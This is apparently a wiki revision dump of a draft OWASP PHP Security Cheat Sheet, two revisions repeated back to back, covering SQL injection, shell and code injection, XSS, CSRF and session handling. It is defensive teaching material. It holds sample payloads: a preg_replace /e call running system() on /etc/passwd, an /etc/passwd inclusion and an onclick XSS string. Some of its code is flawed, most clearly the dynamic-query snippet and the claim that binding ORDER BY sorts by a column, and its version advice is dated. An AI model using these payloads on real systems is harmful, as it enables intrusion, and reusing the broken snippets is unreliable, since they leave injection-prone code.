Please see [[PHP Configuration Cheat Sheet]].

=Sources of Taint=

= OLD. PHP General Guidelines for Secure Web Applications =

== PHP Version ==
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones.

== Framework==
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes.

== Directory==
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks.

== Hashing Extension ==
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256

== Cryptographic Extension ==
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.

== Authentication and Authorization ==
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.

== Input nput validation ==
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']);

== Use PDO or ORM ==
Use PDO with prepared statements or an ORM like Doctrine

== Use PHP Unit and Jenkins ==
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.

== Use Stefan Esser's Hardened PHP Patch ==
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html
(not maintained now, but the concepts are very powerful)

== Avoid Global Variables==
In terms of secure coding with PHP, do not use globals unless absolutely necessary
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)

== Protection against RFI==
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI But don't cause issues by using the pattern include $user_supplied_data or require "base" + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it

== Regexes (!)==
Watch for executable regexes (!)

== Session Rotation ==
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you're done.

== Be aware of PHP filters ==
PHP filters can be tricky and complex. Be extra-conscious when using them.

== Logging ==
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration

== Output encoding ==
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.

These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php

= Authors and Primary Editors =

[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])

[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]

[mailto:vanderaj@owasp.org Andrew van der Stock]

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

PHP Security Cheat Sheet

2013-12-21T18:51:01Z

Luke Plant: Strong warnings about using htmlspecialchars manually (bringing XSS prevention inline with SQLi prevention which warns against manual escaping)

= DRAFT CHEAT SHEET - WORK IN PROGRESS =
= Introduction =
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.

==PHP status on the web==
PHP is the most commonly used server-side programming language and 72% of web servers deploy PHP. PHP is open source. The core of PHP is reasonably secure, but its plugins, libraries and third party tools are often insecure. Also no default security mechanism is included in PHP (there were some in the old days, but they usually broke things).

PHP developers are usually better informed than ASPX or JSP developers on how the web and HTTP works, and that makes for better coding practices, but they both lack basic security knowledge. Other languages have built-in security mechanisms, which is why PHP websites often have more flawed.

==Update PHP Now==
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''

Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.

=Untrusted data=
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.

Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).

==Common mistakes on the processing of $_FILES array==
It is common to find code snippets online doing something similar to the following code:

if ($_FILES['some_name']['type'] == 'image/jpeg') {
//Proceed to accept the file as a valid image
}

However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.

$finfo = new finfo(FILEINFO_MIME_TYPE);
$fileContents = file_get_contents($_FILES['some_name']['tmp_name']);
$mimeType = $finfo->buffer($fileContents);

Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.

==Use of $_REQUEST==
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.

=Database Cheat Sheet=
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:

==Encoding Issues==
===Everything is a string for a database===
There are ways to send different data types to a database, ints, floats, etc. Never rely on them, instead always send a string to the database. Database engines type cast automatically if they need to. This makes for much safer queries. Make this a habit of yours, and see how many time it saves you. Still, do not concatenate without escaping the values. Check the [[#Use Prepared Statements|Use Prepared Statements]].

====Wrong====
$x=1;
SELECT * FROM users WHERE ID > $x
====Right====
$x=1; // or $x='1';
SELECT * FROM users WHERE ID >'$x';

===Use UTF-8 unless necessary===
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

==Escaping is not safe==
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.

'''Why:'''
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. Number fields might also be vulnerable if not used as strings. Instead use prepared statements or equivalent.

==Use Prepared Statements==
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was.

====MySQLi Prepared Statements Wrapper====
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->num_rows) {
$out = array();
while (null != ($r = $result->fetch_array(MYSQLI_ASSOC)))
$out [] = $r;
return $out;
}
return null;
} else {
if (!$stmt = $DB->prepare($Query))
trigger_error("Unable to prepare statement: {$Query}, reason: " . $DB->error . "");
array_shift($args); //remove $Query from args
//the following three lines are the only way to copy an array values in PHP
$a = array();
foreach ($args as $k => &$v)
$a[$k] = &$v;
$types = str_repeat("s", count($args)); //all params are strings, works well on MySQL and SQLite
array_unshift($a, $types);
call_user_func_array(array($stmt, 'bind_param'), $a);
$stmt->execute();
//fetching all results in a 2D array
$metadata = $stmt->result_metadata();
$out = array();
$fields = array();
if (!$metadata)
return null;
$length = 0;
while (null != ($field = mysqli_fetch_field($metadata))) {
$fields [] = &$out [$field->name];
$length+=$field->length;
}
call_user_func_array(array(
$stmt, "bind_result"
), $fields);
$output = array();
$count = 0;
while ($stmt->fetch()) {
foreach ($out as $k => $v)
$output [$count] [$k] = $v;
$count++;
}
$stmt->free_result();
return ($count == 0) ? null : $output;
}
}

Now you could do your every query like the example below:

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT ?" , 5 , "Username" , 2);

Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.

'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.

====PDO Prepared Statement Wrapper====
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.

try {
$DB = new PDO("{$Driver}:dbname={$DatabaseName};host={$Host};", $Username, $Password);
} catch (Exception $e) {
trigger_error("PDO connection error: " . $e->getMessage());
}

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->rowCount()) {
return $result->fetchAll(PDO::FETCH_ASSOC);
}
return null;
} else {
if (!$stmt = $DB->prepare($Query)) {
$Error = $DB->errorInfo();
trigger_error("Unable to prepare statement: {$Query}, reason: {$Error[2]}");
}
array_shift($args); //remove $Query from args
$i = 0;
foreach ($args as &$v)
$stmt->bindValue(++$i, $v);
$stmt->execute();
return $stmt->fetchAll(PDO::FETCH_ASSOC);
}
}

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT 5" , 5 , "Username" );

===Where prepared statements do not work===
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:

====Not Supported Fields====
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:

function whitelist($Needle,$Haystack)
{
if (!in_array($Needle,$Haystack))
return reset($Haystack); //first element
return $Needle;
}

$Limit = $_GET['lim'];
$Limit = $Limit * 1; //type cast, integers are safe

$Order = $_GET['sort'];
$Order=whitelist($Order,Array("ID","Username","Password"));

This is very important. If you think you're tired and you rather blacklist than whitelist, you're bound to fail.

====Dynamic Queries====
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.

When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:

$Query="SELECT * FROM table WHERE ";
foreach ($_GET['fields'] as $g)
$Query.=whitelist($g,Array("list","of","possible","fields","here"))."=?";
$Values=$_GET['values'];
array_unshift($Query); //add to the beginning
$res=call_user_func_array(SQL, $Values);

==ORM==
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.

=Other Injection Cheat Sheet=
SQL aside, there are a few more injections possible ''and common'' in PHP:

==Shell Injection==
A few PHP functions namely

* shell_exec
* exec
* passthru
* system
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )

run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.

Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you.

==Code Injection==
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.

Function preg_replace() should not be used with unsanitized user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].

preg_replace("/.*/e","system('echo /etc/passwd')");

Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.

==Other Injections==
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.

=XSS Cheat Sheet=

There are two scenarios when it comes to XSS, each one to be mitigated accordingly:

== No Tags ==

Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.

If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.

Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.

If you cannot switch to a secure template engine, you can use the function below on all untrusted data.

'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.

//xss mitigation functions
function xssafe($data,$encoding='UTF-8')
{
return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);
}
function xecho($data)
{
echo xssafe($data);
}

//usage example
<input type='text' name='test' value='<?php
xecho ("' onclick='alert(1)");
?>' />

==Untrusted Tags==
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., you have to use a '''Secure Encoding''' library, but cannot trust the user. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.

==Templating engines==

There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.

Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers such always use systems that are secure by default if they take security seriously.

==Other Tips==

* We don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with the above statement when you see a variable is included, no harm comes with that.

* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)

* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.

* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.

=CSRF Cheat Sheet=
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:

* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.

The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version would be available (hopefully). For now, mix that with the following tips:

* Use re-authentication for critical operations (change password, recovery email, etc.)
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.

=Authentication and Session Management Cheat Sheet=
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:

==Session Management==
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:

* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.

===Session Hijacking Prevention===
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.

To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:

$IP = getenv ( "REMOTE_ADDR" );

Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic. Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )

===Invalidate Session ID===
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).

===Rolling of Session ID===
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.

===Exposed Session ID===
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.

Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.

===Session Fixation===
Session IDs are to be generated by your application only. Never create a session only because you receive the session ID from the client, the only source of creating a session should be a secure random generator.

===Session Expiration===
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.

Also keep the '''log out''' button close, and unset all traces of the session on log out.

====Inactivity Timeout====
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria.

This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.

====General Timeout====
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.

===Cookies===
Handling cookies in a PHP script has some tricks to it:

====Never Serialize====
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.

====Proper Deletion====
To delete a cookie safely, use the following snippet:

setcookie ($name, "", 1);
setcookie ($name, false);
unset($_COOKIE[$name]);
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.

You can also use '''session_name()''' to retrieve the name default PHP session cookie.

====HTTP Only====
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not Javascript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to javascript.

To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):

#prototype
bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )

#usage
if (!setcookie("MySessionID", $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))
echo ("could not set HTTP-only cookie");

The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:

$r=setcookie("SECSESSID","1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973",time()+60*60*24*7 /*a week*/,"/","owasp.org",true,true);
if (!$r) die("Could not set session cookie.");

====Internet Explorer issues====
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.

==Authentication==

===Remember Me===
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.

It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.

* '''Never store username/password or any relevant information in the cookie.'''

=Access Control Cheat Sheet=
This section aims to mitigate access control issues, as well as '''Insecure Direct Object Reference''' issues.

=Cryptography Cheat Sheet=

=File Inclusion Cheat Sheet=

=Configuration and Deployment Cheat Sheet=
Please see [[PHP Configuration Cheat Sheet]].

=Sources of Taint=

= OLD. PHP General Guidelines for Secure Web Applications =

== PHP Version ==
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones.

== Framework==
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes.

== Directory==
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks.

== Hashing Extension ==
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256

== Cryptographic Extension ==
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.

== Authentication and Authorization ==
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.

== Input nput validation ==
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']);

== Use PDO or ORM ==
Use PDO with prepared statements or an ORM like Doctrine

== Use PHP Unit and Jenkins ==
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.

== Use Stefan Esser's Hardened PHP Patch ==
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html
(not maintained now, but the concepts are very powerful)

== Avoid Global Variables==
In terms of secure coding with PHP, do not use globals unless absolutely necessary
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)

== Protection against RFI==
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI But don't cause issues by using the pattern include $user_supplied_data or require "base" + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it

== Regexes (!)==
Watch for executable regexes (!)

== Session Rotation ==
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you're done.

== Be aware of PHP filters ==
PHP filters can be tricky and complex. Be extra-conscious when using them.

== Logging ==
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration

== Output encoding ==
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.

These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php

= Authors and Primary Editors =

[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])

[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]

[mailto:vanderaj@owasp.org Andrew van der Stock]

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

PHP Security Cheat Sheet

2013-12-21T18:34:26Z

Luke Plant: Clarified awkwardly phrased "no tags" and "yes tags" sections.

= DRAFT CHEAT SHEET - WORK IN PROGRESS =
= Introduction =
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.

==PHP status on the web==
PHP is the most commonly used server-side programming language and 72% of web servers deploy PHP. PHP is open source. The core of PHP is reasonably secure, but its plugins, libraries and third party tools are often insecure. Also no default security mechanism is included in PHP (there were some in the old days, but they usually broke things).

PHP developers are usually better informed than ASPX or JSP developers on how the web and HTTP works, and that makes for better coding practices, but they both lack basic security knowledge. Other languages have built-in security mechanisms, which is why PHP websites often have more flawed.

==Update PHP Now==
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''

Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.

=Untrusted data=
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.

Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).

==Common mistakes on the processing of $_FILES array==
It is common to find code snippets online doing something similar to the following code:

if ($_FILES['some_name']['type'] == 'image/jpeg') {
//Proceed to accept the file as a valid image
}

However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.

$finfo = new finfo(FILEINFO_MIME_TYPE);
$fileContents = file_get_contents($_FILES['some_name']['tmp_name']);
$mimeType = $finfo->buffer($fileContents);

Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.

==Use of $_REQUEST==
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.

=Database Cheat Sheet=
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:

==Encoding Issues==
===Everything is a string for a database===
There are ways to send different data types to a database, ints, floats, etc. Never rely on them, instead always send a string to the database. Database engines type cast automatically if they need to. This makes for much safer queries. Make this a habit of yours, and see how many time it saves you. Still, do not concatenate without escaping the values. Check the [[#Use Prepared Statements|Use Prepared Statements]].

====Wrong====
$x=1;
SELECT * FROM users WHERE ID > $x
====Right====
$x=1; // or $x='1';
SELECT * FROM users WHERE ID >'$x';

===Use UTF-8 unless necessary===
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

==Escaping is not safe==
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.

'''Why:'''
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. Number fields might also be vulnerable if not used as strings. Instead use prepared statements or equivalent.

==Use Prepared Statements==
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was.

====MySQLi Prepared Statements Wrapper====
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->num_rows) {
$out = array();
while (null != ($r = $result->fetch_array(MYSQLI_ASSOC)))
$out [] = $r;
return $out;
}
return null;
} else {
if (!$stmt = $DB->prepare($Query))
trigger_error("Unable to prepare statement: {$Query}, reason: " . $DB->error . "");
array_shift($args); //remove $Query from args
//the following three lines are the only way to copy an array values in PHP
$a = array();
foreach ($args as $k => &$v)
$a[$k] = &$v;
$types = str_repeat("s", count($args)); //all params are strings, works well on MySQL and SQLite
array_unshift($a, $types);
call_user_func_array(array($stmt, 'bind_param'), $a);
$stmt->execute();
//fetching all results in a 2D array
$metadata = $stmt->result_metadata();
$out = array();
$fields = array();
if (!$metadata)
return null;
$length = 0;
while (null != ($field = mysqli_fetch_field($metadata))) {
$fields [] = &$out [$field->name];
$length+=$field->length;
}
call_user_func_array(array(
$stmt, "bind_result"
), $fields);
$output = array();
$count = 0;
while ($stmt->fetch()) {
foreach ($out as $k => $v)
$output [$count] [$k] = $v;
$count++;
}
$stmt->free_result();
return ($count == 0) ? null : $output;
}
}

Now you could do your every query like the example below:

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT ?" , 5 , "Username" , 2);

Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.

'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.

====PDO Prepared Statement Wrapper====
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.

try {
$DB = new PDO("{$Driver}:dbname={$DatabaseName};host={$Host};", $Username, $Password);
} catch (Exception $e) {
trigger_error("PDO connection error: " . $e->getMessage());
}

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->rowCount()) {
return $result->fetchAll(PDO::FETCH_ASSOC);
}
return null;
} else {
if (!$stmt = $DB->prepare($Query)) {
$Error = $DB->errorInfo();
trigger_error("Unable to prepare statement: {$Query}, reason: {$Error[2]}");
}
array_shift($args); //remove $Query from args
$i = 0;
foreach ($args as &$v)
$stmt->bindValue(++$i, $v);
$stmt->execute();
return $stmt->fetchAll(PDO::FETCH_ASSOC);
}
}

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT 5" , 5 , "Username" );

===Where prepared statements do not work===
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:

====Not Supported Fields====
